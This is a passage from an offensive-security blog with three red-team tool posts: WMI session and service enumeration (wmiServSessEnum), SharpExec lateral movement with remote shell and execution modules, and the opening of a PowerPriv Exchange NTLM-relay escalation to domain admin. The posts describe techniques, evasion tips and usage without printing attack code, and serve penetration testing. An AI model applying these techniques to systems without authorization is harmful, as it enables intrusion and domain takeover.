<span style="font-family: arial, sans-serif; font-size: 10pt;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVHgITNyebgya0JdD3EWGpNu4k6OmYw9we-fVKxK96ou9e3UxBB2_dHS8jt2z6OUIJUeu0_EVrHGDEoP3OSO71nDqXqEuXjGLH6DPHax7nHUYwsjRK7asjw164Jq2afM-CppVvWW3fBb4/s1600/img-7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="583" data-original-width="1081" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVHgITNyebgya0JdD3EWGpNu4k6OmYw9we-fVKxK96ou9e3UxBB2_dHS8jt2z6OUIJUeu0_EVrHGDEoP3OSO71nDqXqEuXjGLH6DPHax7nHUYwsjRK7asjw164Jq2afM-CppVvWW3fBb4/d/img-7.png" /></a></div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;"><br /></span></div>
<div class="MsoNormal">
Through this I found the Win32_LoggedOnUser WMI class. At first it seemed like this would be exactly
what was needed for enumerating active sessions, and my initial tests worked
great: I log in with user1, user1 shows up when I query the class, I log in
with user2, user1 & user2 now show up when I query the class. The issue came when I logged off with user2
and queried the class again; user2 still showed up as having a session on the system. I tried giving it a few minutes, thinking
that the session was temporarily caching on log-off, but still user2 appeared
to be logged in when querying the class.
This led me to a bunch of googling and the unfortunate conclusion that
the Win32_LoggedOnUser class tracks ALL login sessions since last reboot,
including ‘stale’ connections, or those that are no longer exist. This isn’t great for us, as these stale
sessions do not retain cached credentials in memory by default, potentially
leading to a plethora of false positives based on old logins. There are definitely operational uses for
this information, ex. looking for a system where there <i>have</i> been administrative logins at some point since last reboot –
likely within the past month – and targeting them for long-term surveillance or
persistence with the theory being that an admin may log in there again; however
those uses are outside of the scope of this tool.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
The array of session objects returned when querying the
Win32_LoggedOnUser class have two properties: an antecedent, and a
dependent. The antecedent is the value
that contains the ‘human-readable’ information regarding a specific session –
the hostname, domain, etc. The dependent
contains a ‘loginID’ value, a unique int corresponding to the specific instance
of an account logging into the system.
If a single user logs in & out multiple times prior to a reboot,
each instance will receive a unique loginID and thus be tracked independently
by the Win32_LoggedOnUser class. <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD1-e5cEjOphb6ZLJrSRaMhyphenhyphenwCdcO8KxgvV_LjKrQ0rdpyIskXBPMCMirKKjcS3FA_qzNZ9qD-2HT_WUobOQAygm2hxQCVOUHLbLPZXstNKaJayueryKoBo7qmVie6MFixaB5aZ6xygk0/s1600/img-8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="236" data-original-width="559" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD1-e5cEjOphb6ZLJrSRaMhyphenhyphenwCdcO8KxgvV_LjKrQ0rdpyIskXBPMCMirKKjcS3FA_qzNZ9qD-2HT_WUobOQAygm2hxQCVOUHLbLPZXstNKaJayueryKoBo7qmVie6MFixaB5aZ6xygk0/d/img-8.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="MsoNormal">
There wasn’t a whole lot I could do directly with the
LoggedOnUser class to filter to only live sessions, but through a bit more
exploration of WMI classes I landed on the Win32_SessionProcess class. Similarly to LoggedOnUser, this class also
only returns an antecedent and a dependent.
However, the antecedent and dependent values returned for objects of the
SessionProcess class are different, with the antecedent containing the LoginID tied to each active process on the system and the dependent containing a handle to each of these processes. Although by themselves there isn’t much that
can be done with these values, the LoginID returned by SessionProcess can be
cross-referenced against the LoginIDs associated with LoggedOnUser objects, giving
a listing of actual logins (those that have at least one running process
associated with their loginID).<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibiXAVuzyTms6mzjhorKi61gw_3NuCwsh9UdZ6TOkE3gfy1bNBaDyDjt9Va8kqcFHGuGqrGXcPEwpzneqrtW6Lo7s9A5DpnYEYK5mFoDpyYhm4lcDIn3W98kmiEBaccWZj5WHiwjAZzNA/s1600/img-9.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="247" data-original-width="483" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibiXAVuzyTms6mzjhorKi61gw_3NuCwsh9UdZ6TOkE3gfy1bNBaDyDjt9Va8kqcFHGuGqrGXcPEwpzneqrtW6Lo7s9A5DpnYEYK5mFoDpyYhm4lcDIn3W98kmiEBaccWZj5WHiwjAZzNA/d/img-9.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Once this connection had been made, it was fairly
straightforward to get session enumeration functionality up and running. From there, everything was pretty much in its
final state as far as functionality goes.
Things were looking good until I started using Wireshark to watch
execution across the wire in real-time.
When enumerating sessions using the NetWkstaUserEnum WINAPI function,
approximately 15 packets were sent over the wire. When running session enumeration over WMI,
that number was up to ~200 packets.
Quite a bit larger, but makes sense when considering that the session
has to be set up and multiple requests have to be made (although if anyone can
further update the queries to shave this number further I would be happy to
include). However, when I ran service
enumeration, packet counts shot up to a monstrous ~1700 per host. This was just simply too high for my liking,
and I could imagine network congestion, downed boxes, etc. if this was ran over
too many hosts in parallel.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfDjpCTbZ436pwPfn-zny2GC-VlFKqq4lC_oGEdVULSOEqn6jNLa07o8u0tZrlw6YQFP08HBh-1TwhQ_yPI0LaTdbyszTeNGx0KU4mmB3tiYrLjQqaoh58S5FEhDitWVBHt7EdqUKcFt0/s1600/img-10.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="255" data-original-width="1036" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfDjpCTbZ436pwPfn-zny2GC-VlFKqq4lC_oGEdVULSOEqn6jNLa07o8u0tZrlw6YQFP08HBh-1TwhQ_yPI0LaTdbyszTeNGx0KU4mmB3tiYrLjQqaoh58S5FEhDitWVBHt7EdqUKcFt0/d/img-10.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwzbBm8obYNgjbRvQTsQMkMan5kRDwWgLZGkY72b3DvuOk9fWIVTDlYF3N7LtVRHwhxYSU3vTtCvFRpKfcZ4uIjtzrjkdUuroNLG9iWjkTDjNxZzoc1-oXkhyPxyyWVB-JDFpdnM_u7u8/s1600/img-11.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="752" data-original-width="1460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwzbBm8obYNgjbRvQTsQMkMan5kRDwWgLZGkY72b3DvuOk9fWIVTDlYF3N7LtVRHwhxYSU3vTtCvFRpKfcZ4uIjtzrjkdUuroNLG9iWjkTDjNxZzoc1-oXkhyPxyyWVB-JDFpdnM_u7u8/d/img-11.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQkOXyanYtJUBhlGtbYVaUpRfsEBZf0Qen-89Ee8HwDfY9S284QW8bbXryLOT8l6irYVo8u4rHOEnuzDHhPEeFDHJQPflVpZ6d5UprV2PBTXwhD4VfXbsJxBPNzcg-ioe5dIlsQlmDidA/s1600/img-12.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="754" data-original-width="1379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQkOXyanYtJUBhlGtbYVaUpRfsEBZf0Qen-89Ee8HwDfY9S284QW8bbXryLOT8l6irYVo8u4rHOEnuzDHhPEeFDHJQPflVpZ6d5UprV2PBTXwhD4VfXbsJxBPNzcg-ioe5dIlsQlmDidA/d/img-12.png" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;">The breakthrough in getting the amount of traffic
sent over the wire down was the realization that the WQL query sent to retrieve
objects was processed server-side. WMI
connectivity using the Microsoft.Management.Infrastructure namespace involves
creating a CimSession to a remote host, which in turn is queried using a WQL
(WMI-Query-Language) query. This is a
SQL-like statement that can be used to retrieve data based on certain
criteria. I had (mistakenly) assumed
that filters applied to these queries (ex. select * from Win32_Service <b>where startname like ‘%admin%’</b>) would
be applied to data after it was returned to our system; or in other words all the
data would be pulled back across the wire, and then filtered using the given
rules prior to displaying. Luckily, I
found this not to be the case, and the entire query is sent to the remote host
where it is processed on their system.
From there, only results that match the given filter are sent back over
the wire to our system. Almost all
services can be filtered out, as we’re not interested in those running under ‘default’
accounts such as SYSTEM, LOCAL SERVICE, and NETWORK SERVICE. With these new
filters applied, traffic for service is down to a much more manageable ~170
packets per host (varies with # services identified).</span></div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioZ13qzYxh6FJRq52VPptJGVu9_Wez4K-h_c1bDEwGrc6khPDN5LYHw5aDZzW3A8mCCEpxSUOK_pYAueVh_NcYGKk_oyigltcQD_1xxbj-PtsdLSCfG-vR4gp0c6i8iQSYBhLjHSejEkw/s1600/img-13.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="753" data-original-width="1483" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioZ13qzYxh6FJRq52VPptJGVu9_Wez4K-h_c1bDEwGrc6khPDN5LYHw5aDZzW3A8mCCEpxSUOK_pYAueVh_NcYGKk_oyigltcQD_1xxbj-PtsdLSCfG-vR4gp0c6i8iQSYBhLjHSejEkw/d/img-13.png" /></a></div>
<div class="MsoNormal">
<span style="font-family: arial, sans-serif; font-size: 10pt;"><br /></span></div>
<div class="MsoNormal">
One other interesting point that became apparent as I
analyzed traffic from both WMI and API-based enumeration methods, this method
uses solely RPC connections, whereas API methods use SMB to remotely pull
information. There are definitely
improvements that can be made to this as well, API methods would likely be
faster and may potentially be even lighter from a network traffic perspective
(depending on what filtering can be done prior to returning service information),
and the current queries could likely be further refined to likewise reduce
traffic further. Overall though, with this last hurdle overcome, I figured the
tool was in a decent enough place to release. </div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
wmiServSessEnum Usage</h2>
<div>Like other tools that use WMI to connect to other systems,
admin rights are required on the remote system.</div><div><div class="MsoNormal"><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
An IP/ comma-separated list of IPs is required to be entered
in on the command line when executing the tool, or a reference to a file on the
local system containing one IP per line to target. I looked into incorporating CIDR notation
into the tool, but ultimately decided against it, so as of now only specific IP
addresses are supported. Ideally this
shouldn’t be a huge deal as the addresses that are being tested are ones that you
already have valid credentials for, meaning initial network enumeration has
already occurred. <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
By default the tool will use whatever credentials you’re
currently running your session as, but also accepts username+domain+plaintext
passwords (use a domain of ‘.’ For a local user).<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
WmiServSessEnum can be ran in several different modes: <o:p></o:p></div>
<div class="MsoListParagraphCxSpFirst" style="text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;">
</span></span><!--[endif]-->sessions –
similar to other user enumeration methods, will return a list of active
sessions on the remote system<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;">
</span></span><!--[endif]-->services – returns a list (if any) of
non-default accounts configured to run services on the remote system<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in;">
<!--[if !supportLists]--><span style="font-family: symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; line-height: normal;">
</span></span><!--[endif]-->all (default) – runs both<o:p></o:p></div>
<div class="MsoListParagraphCxSpLast">
<br /></div>
<div class="MsoNormal">
flags should be inputted in the format of –u=UserName etc.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<span style="font-family: arial, sans-serif; font-size: 10pt;">When
everything works you should get something back that looks like this when
running against a remote system:</span></div>
<div>
<span style="font-family: arial, sans-serif;"><span style="font-size: 13.3333px;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJOrXENYRxGypX-58vr2VMOD6cVUd78z-9cZY4vjOiPa09B2xUdCvE-QlC34NrBSWb2Z2Ykh4RoQR_NT4k_bcXrGWBcPT_la7KYMQaFf_RCRwd4gm0P0cIAREb-kiMh9lrSu_3WiPqHdI/s1600/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="149" data-original-width="719" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJOrXENYRxGypX-58vr2VMOD6cVUd78z-9cZY4vjOiPa09B2xUdCvE-QlC34NrBSWb2Z2Ykh4RoQR_NT4k_bcXrGWBcPT_la7KYMQaFf_RCRwd4gm0P0cIAREb-kiMh9lrSu_3WiPqHdI/d/1.png" /></a></div>
<div>
<span style="font-family: arial, sans-serif;"><span style="font-size: 13.3333px;"><br /></span></span>
<span style="font-family: arial, sans-serif;"><span style="font-size: 13.3333px;"><br /></span></span>
<span style="font-family: arial, sans-serif;"><span style="font-size: 13.3333px;">Link to Github: </span></span><a href="https://github.com/G0ldenGunSec/wmiServSessEnum">https://github.com/G0ldenGunSec/wmiServSessEnum</a></div>
Davehttp://www.blogger.com/profile/17081446936005057389noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-74825005555493169072019-04-05T11:38:00.000-05:002020-06-16T14:08:19.209-05:00SharpExec - Lateral Movement With Your Favorite .NET Bling<span style="font-size: large;"><b>TL;DR:</b></span><br />
<br />
SharpExec is an offensive security C# tool designed to aid with lateral movement. While the techniques used are not groundbreaking or new by any means, every environment is different and what works for one situation might not work for the next. This tool is a combination of code I have been using over the years when needing to move laterally in a Windows environment and due to various circumstances traditional tools weren't an option. Below I will go over functionality, benefits, things to be aware of, etc. If you are already tired of reading this, you can grab the source code or compiled tool from my github here: <a href="https://github.com/anthemtotheego/SharpExec">https://github.com/anthemtotheego/SharpExec</a><br />
<br />
<span style="font-size: large;"><b>Current modules:</b></span><br />
<ul>
</ul>
<ul>
<li>WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's wmiexec.py tool.</li>
</ul>
<ul>
<li>SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature version of Impacket's smbexec.py tool.</li>
</ul>
<div>
<ul>
<li>PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System or upload a file and execute it with or without arguments as NT Authority\System.</li>
</ul>
<ul>
<li>WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it with or without arguments as the user.</li>
</ul>
</div>
<ul>
<li>In the future I would like to add lateral movement through DCOM and pass the hash functionality</li>
</ul>
<span style="font-size: large;"><b>A few benefits:</b></span><br />
<ul>
<li>Doesn't need to be supplied credentials if the current user running the program has the appropriate permissions (admin rights) to other remote systems. This can come in handy when you compromise a system but don't have valid credentials yet.</li>
</ul>
<ul>
<li>The tool itself can be easily executed in memory, for example, using Cobalt Strike or SharpCradle.</li>
</ul>
<ul>
<li>Tools that are similar can behave differently enough that one tool's behavior gets flagged while the other one doesn't.</li>
</ul>
<ul>
<li>Sometimes you just don't feel like dealing with SSH tunneling or port forwarding just to run a specific tool and having other options is great. </li>
</ul>
<span style="font-size: large;"><b>Things to be aware of:</b></span><br />
<br />
When running the PSExec and SMBExec modules, please be aware that these are extremely noisy. There will be a ton of log activity, so if you are testing a mature organization and your goal is not to get caught, you don't want to run these. Unfortunately though, many organizations still don't catch this type of activity and in most cases you are probably fine running these modules. For a great rundown on how these types of tools work, check out this great blog series by @ropnop - <a href="https://blog.ropnop.com/using-credentials-to-own-windows-boxes/">https://blog.ropnop.com/using-credentials-to-own-windows-boxes/</a><br />
<br />
Like other tools with similar functionality, administrative rights are required.<br />
<br />
<span style="font-size: large;"><b>Examples:</b></span><br />
<br />
I have always been a fan of individuals who provide clear examples of using their tools and what behavior I should expect over the here is a tool, I wish you the best of luck approach. So in this section I have tried to supply screenshots of various examples of using SharpExec. Feel free to reach out to me on twitter @anthemtotheego if something doesn't make sense or is confusing. This goes for any of my projects.<br />
<br />
Running SharpExec without any arguments prints the help menu<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLPhyT-KaXA7B4l-qEP9BU_viA25ltCz3KD_gKcNUf7FCWNv5kV_bMToYZ1wE6XJG2UXvO3AacWtHO08dyusZDM9VGTCnhhcwkNPYgcflgAf_vqwhGhyvTw69cHsuPLSEZyptpAejTrqI/s1600/help+menu.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="343" data-original-width="926" height="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLPhyT-KaXA7B4l-qEP9BU_viA25ltCz3KD_gKcNUf7FCWNv5kV_bMToYZ1wE6XJG2UXvO3AacWtHO08dyusZDM9VGTCnhhcwkNPYgcflgAf_vqwhGhyvTw69cHsuPLSEZyptpAejTrqI/s640/help+menu.PNG" width="640" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
The below example starts a semi-interactive shell to a remote domain joined system from a non-domain joined system using the WMIExec module<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjei67B-6wNrADZz10_aDz4_MnOYidTJGHEyBZkDlUver57-3Y9m8Fzw2OWcNkYwGGEaHnjun8V0QKl2SVXco2z_bTI9D9GHqUIaqvzvAKYUi5uqe-wQDB6VYKQDsOg46zE6tTWnLB1vvI/s1600/wmiexec+semi-interactive+to+domain+joined+machine+from+non+domain+joined.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="767" data-original-width="1317" height="372" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjei67B-6wNrADZz10_aDz4_MnOYidTJGHEyBZkDlUver57-3Y9m8Fzw2OWcNkYwGGEaHnjun8V0QKl2SVXco2z_bTI9D9GHqUIaqvzvAKYUi5uqe-wQDB6VYKQDsOg46zE6tTWnLB1vvI/s640/wmiexec+semi-interactive+to+domain+joined+machine+from+non+domain+joined.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
The below example starts a semi-interactive shell as user1 on the remote system using no username/password and then uses the get command available within the WMIExec/SMBExec modules to download a file from the remote system's current directory to your local system<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOzZ5yu9QqHslZMM8tXbvlfVnfT-ycfLMPmaAG2lKyS2sNFGnM9F7TudlW-G5ZXWhOeO_bkZ228z07JFuEAe9CAYizebjEd2B8sBkskDWlh6Ycx_w9v8VB4MhuA9sXjCxXp6KlKVUP-GE/s1600/wmexec.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="225" data-original-width="933" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOzZ5yu9QqHslZMM8tXbvlfVnfT-ycfLMPmaAG2lKyS2sNFGnM9F7TudlW-G5ZXWhOeO_bkZ228z07JFuEAe9CAYizebjEd2B8sBkskDWlh6Ycx_w9v8VB4MhuA9sXjCxXp6KlKVUP-GE/s640/wmexec.PNG" width="640" /></a></div>
<br />
<br />
The below example starts a semi-interactive shell as NT Authority\System on the remote system using no username/password and then uses the put command available within the WMIExec/SMBExec modules to upload a file from your local system to the remote system<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYEOjlQD8aE7pnr6tKgldHZXVPY5ljvu8G2FZgBWKvnNIDDTthm92GsbmXj-cuLrwXLnpynPSP338bhyphenhyphenPOELeM2JXgFqDIRu2q0p3_1UU3v08bc0-S6Fmr7i4GXHzZTK79vPOfmhk_izs/s1600/smbexec.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="199" data-original-width="913" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYEOjlQD8aE7pnr6tKgldHZXVPY5ljvu8G2FZgBWKvnNIDDTthm92GsbmXj-cuLrwXLnpynPSP338bhyphenhyphenPOELeM2JXgFqDIRu2q0p3_1UU3v08bc0-S6Fmr7i4GXHzZTK79vPOfmhk_izs/s640/smbexec.PNG" width="640" /></a></div>
<br />
<br />
The below example uploads the local binary noPowershell-noargs.exe to the remote system's C:\ drive and executes the binary via the WMI module. It then waits for the user to press Enter before removing the file off of the remote system<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilm5AhVvlQ6VN7FSjF5sNMwcoNy1gV61Rof8qPFZC_pYCHyCkmuNCkvjZUCi0jpq_OxgeAd7HBRk3fPMPCXGldC_ysvAF7zHw3Yx1kOXrXuWDfq7E5zF59tdL0WrCDvC5KvXBwe2eVGn0/s1600/WMI+example.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="215" data-original-width="1131" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilm5AhVvlQ6VN7FSjF5sNMwcoNy1gV61Rof8qPFZC_pYCHyCkmuNCkvjZUCi0jpq_OxgeAd7HBRk3fPMPCXGldC_ysvAF7zHw3Yx1kOXrXuWDfq7E5zF59tdL0WrCDvC5KvXBwe2eVGn0/s640/WMI+example.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
The below example uses the PSExec module to execute a PowerShell Empire payload on the remote system via cmd.exe. This will spawn a PowerShell Empire shell running as NT Authority\System<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLHbem1MBJbzz6-IPQXlQba7Jv8gL5vtDVQ1mDrNTLYnSPhLPOcTKEO_EehlXLcwru4SCnRZSXXtyckENETF86-L5QyMuMrdScY1b6bvJ0AbNQNXwhFAx7uTomK6z-t7s0Zc6GRBSDidQ/s1600/psexec+local+admin+Empire+example.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="709" data-original-width="1600" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLHbem1MBJbzz6-IPQXlQba7Jv8gL5vtDVQ1mDrNTLYnSPhLPOcTKEO_EehlXLcwru4SCnRZSXXtyckENETF86-L5QyMuMrdScY1b6bvJ0AbNQNXwhFAx7uTomK6z-t7s0Zc6GRBSDidQ/s640/psexec+local+admin+Empire+example.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
The below example uses the tool SharpCradle.exe to pull SharpExec.exe into memory and execute the WMIExec module to gain a semi-interactive shell on the remote system<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXEip2mnJpB019YglnTMqwjQA-pmI40l__fjY7CFfIYqb7zlrkLzsQOD74we7oDMH4himhyphenhyphenmGbKA3WW8BIVkUyQmuyJ-Zm0boByzRj8SLPE-qS4fZNqwccNPr481RNsNR7XuZK6XqqDpU/s1600/sharpcradle+wmiexec+example.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="1217" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXEip2mnJpB019YglnTMqwjQA-pmI40l__fjY7CFfIYqb7zlrkLzsQOD74we7oDMH4himhyphenhyphenmGbKA3WW8BIVkUyQmuyJ-Zm0boByzRj8SLPE-qS4fZNqwccNPr481RNsNR7XuZK6XqqDpU/s640/sharpcradle+wmiexec+example.PNG" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<span style="font-size: large;"><b>Conclusion:</b></span><br />
<br />
Hopefully this has been a good tutorial on a few ways to use SharpExec. Till next time and happy hacking!<br />
<br />
<span style="font-size: large;"><b>Link to tools:</b></span><br />
<br />
SharpExec - <a href="https://github.com/anthemtotheego/SharpExec">https://github.com/anthemtotheego/SharpExec</a><br />
<br />
SharpExec Compiled Binaries - <a href="https://github.com/anthemtotheego/SharpExec/tree/master/CompiledBinaries">https://github.com/anthemtotheego/SharpExec/tree/master/CompiledBinaries</a><br />
<br />
SharpCradle GitHub - <a href="https://github.com/anthemtotheego/SharpCradle">https://github.com/anthemtotheego/SharpCradle</a>AnthemToTheEgohttp://www.blogger.com/profile/10525470231345792074noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-1590582043866041742019-01-31T12:17:00.006-06:002021-09-29T17:08:27.182-05:00Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="MsoNormal">
TL;DR: A new take on the recently released Exchange privilege escalation attack allowing for <span> </span>remote usage without
needing to drop files to disk, local admin rights, or knowing any passwords at
all.<span> </span>Any shell on a user account with a
mailbox = domain admin. I wrote a PowerShell implementation of PrivExchange that uses the credentials of the current user to authenticate to exchange. Find it here: <a href="https://github.com/G0ldenGunSec/PowerPriv">https://github.com/G0ldenGunSec/PowerPriv</a> <o:p></o:p><br />
<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
The Exchange attack that @_dirkjan released last week (<a href="https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin">https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin</a>)
provides an extremely quick path to full domain control on most networks,
especially those on which we already have a device that we can run our tools
on, such as during an internal network penetration test.<span> </span>However, I saw a bit of a gap from the point
of a more red-team focused attack scenario, in which we often wouldn’t have a
box on the internal client network that we can run python scripts on (such as
ntlmrelayx and PrivExchange) without either installing python libraries or
compiling the scripts to binaries and dropping them to disk to run.<span> </span>Additionally, we may not have a user's plaintext or NTLM hashes to run scripts with remotely via
proxychains.<span> </span><span> </span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Trying to find a more effective solution for this scenario,
I wrote a PowerShell implementation of PrivExchange called <a href="https://github.com/G0ldenGunSec/PowerPriv">PowerPriv</a> that uses
the credentials of the current user to authenticate to the Exchange server.<span> </span>This gets around the problem of needing
credentials, as we’ll now just use the already-compromised account to
authenticate for us.<span> </span>However, this was
really only a first step as it still required that we relay to the domain controller through
ntlmrelayx, meaning that we would still need a box on the network running Linux
/ need to install Python / etc.<span> </span>To put the
rest of the pieces together, I used a bunch of the great tunneling
functionality that comes in Cobalt Strike to set up a relay for the inbound NTLM authentication request
(via HTTP) from the Exchange server, through our compromised host system, to
the Cobalt Strike server, and back out to the target domain controller (via LDAP).<span> </span>At a high level, this is what we’re doing: </div>
<div class="MsoNormal">
<o:p> </o:p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1yRGLDkCRG9yKapygQYTaDLL6NCL7ascsXFoLUNjC1tW2aMOC7jgWf0vtlWxJjo1PC6HHll_02_l5ocwAJD-LiBok4HLs7cTXu-aRxkUyt4ukTXLVZS6ROZJ-1KwO6U35huvJYB086Vc/s1600/1.png" style="clear: left; display: inline; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="686" data-original-width="735" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1yRGLDkCRG9yKapygQYTaDLL6NCL7ascsXFoLUNjC1tW2aMOC7jgWf0vtlWxJjo1PC6HHll_02_l5ocwAJD-LiBok4HLs7cTXu-aRxkUyt4ukTXLVZS6ROZJ-1KwO6U35huvJYB086Vc/d/1.png" /></a></div>
<br />
<div class="MsoNormal">
So, in more depth, what are we actually doing here?<span> </span>To begin, let’s get a ‘compromised’ system
and check who the local admins are:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
